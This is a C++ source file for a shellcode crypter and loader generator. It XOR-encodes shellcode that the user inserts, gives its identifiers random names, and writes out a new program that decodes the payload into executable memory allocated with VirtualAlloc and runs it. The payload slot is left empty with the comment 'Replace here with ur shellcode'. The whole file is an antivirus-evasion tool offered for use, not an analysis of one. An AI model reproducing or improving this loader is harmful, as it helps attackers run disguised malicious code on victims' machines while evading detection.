Flip.cpp

#include "Windows.h"
#include "iostream"
#include <fstream>
#include <string>
#include <time.h>
#include <stdlib.h>


using namespace std;




string randString(int size){
	string a;
	for(int i = 0; i < size; i++)
	{
		int asc_value = rand() % 122 + 65;
		if( (asc_value <= 90 && asc_value >= 65)  || (asc_value >= 97 && asc_value <= 122))
		a +=  (char)asc_value;
		else
		i--;
		
	}
	
return a;	
}


void creator(string fName, string aName, unsigned char *shelly, int s_c, string key, string kName){
	ofstream cout("flip-obfuscated.cpp");
	
	unsigned char encodedShelly[s_c];
	cout << "#include \"Windows.h\"" << endl;
		cout << "#include <string>" << endl;
	cout << "using namespace std;" << endl;
	for(int i = 0; i < 10; i++)
		cout << endl;
	cout << "int main(){" << endl << endl;
	cout << "string "<<kName <<"="<<"\"" << key << "\"" <<";" << endl << endl; 
	cout << "char "<<aName <<"[]" <<" = " << "\"";
	
	int j =0;
	for(int i = 0; i < s_c; i++)
	{
		if(j >= key.size() -1)
			j=0;
			
		encodedShelly[i] = shelly[i] ^ key[j];
		
	
		j++;
	}
	
		for(int i = 0; i < s_c; i++)
	{
		cout <<"\\x"<< hex << (int)encodedShelly[i];
	}
	
	
	
	cout << "\";";
	
	
	cout << endl << endl << endl;
	cout << "int j = 0;" << endl;
	cout << "for(int i=0; i < sizeof " << aName << "; i++){" << endl;
	cout << "if(j == "<< kName << ".size()" <<" -1) j=0;" << endl;
	cout << aName << "[" << "i" << "]" << " = " << aName << "[" << "i" << "]" << "^" << kName <<"[j]" << ";" << endl;
	cout <<"j++;";
	cout << "}";
	cout << endl << endl;
	cout << "void *" <<fName <<" = VirtualAlloc(0, " <<"sizeof " <<aName << ", MEM_COMMIT, PAGE_EXECUTE_READWRITE);" << endl;
	cout << "memcpy(" << fName << ", " << aName << ", sizeof "<<aName << ");" << endl ;
	
	cout << "((void(*)())"<<fName<<")()"<<";"<< endl;
	cout << "}";

	
	
	
	
	
}




int main()
{
 //::ShowWindow(::GetConsoleWindow(), SW_HIDE);
unsigned seed = time(0);
srand(seed);


int funcNameSize = rand() % 15 + 5;
string funcName = randString(funcNameSize);

int arrNameSize = rand() % 13+7;
string arrName = randString(arrNameSize);

int keyNameSize = rand() % 19+7;
string keyName = randString(keyNameSize);

int ptrNameSize = rand() % 25+5;
string ptrName = randString(ptrNameSize);

cout << "Encoding Key= ";
string encodeKey;
cin >> encodeKey;

//Replace here with ur shellcode
unsigned char buf[] = ""

creator(funcName, arrName, buf, sizeof buf, encodeKey, keyName);

  


}